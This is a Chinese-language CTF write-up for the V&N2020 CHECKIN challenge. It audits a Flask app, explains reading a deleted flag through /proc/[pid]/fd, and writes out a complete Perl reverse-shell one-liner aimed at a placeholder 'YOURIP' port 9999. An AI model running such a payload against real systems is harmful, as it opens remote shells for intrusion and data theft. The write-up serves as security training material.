V&N2020公开赛CHECKIN

python flask代码审计、反弹shell

代码审计:

11.png

注意注释的东西是不会执行的,代码比较简单,两个路由,我们要利用的肯定是shell那个路由,但是可以发现 flag_file=open(“flag.txt”,”r”) ,可以看到以只读的方式打开了flag.txt文件。然后访问shell路由的时候,又把flag.txt删掉了。我们肯定会很纳闷,这样不就读不了flag.txt文件了吗?其实不然,在linux里,当一个进程打开一个文件直到关闭前,会获得一个文件描述符,而文件描述符里面有文件的内容,即使你删除了flag.txt文件,仍然可以在 /proc/[pid]/fd 目录下找到文件内容,pid是进程号。

因为shell函数没有回显,直接return 1 , 所以我们考虑反弹 shell ,这里测试直接用bash弹没成功,应该是被过滤了,那就用perl 弹:perl -e ‘use Socket;$i=”YOURIP”;$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’ &

我们在buu上开一个linux靶机,然后用x-shell 进行ssh连接,然后弹shell

在linux靶机上监听 9999端口:

12.png

然后在题目环境上 执行shell:(shell最好url编码一下)

13.png

然后发现成功反弹shell:

14.png

然后查看 /proc/[pid]/fd 目录下的内容 ,这里因为不知道具体是哪个进程号,我们可以直接全局显示

直接 cat /proc//fd/ :

15.png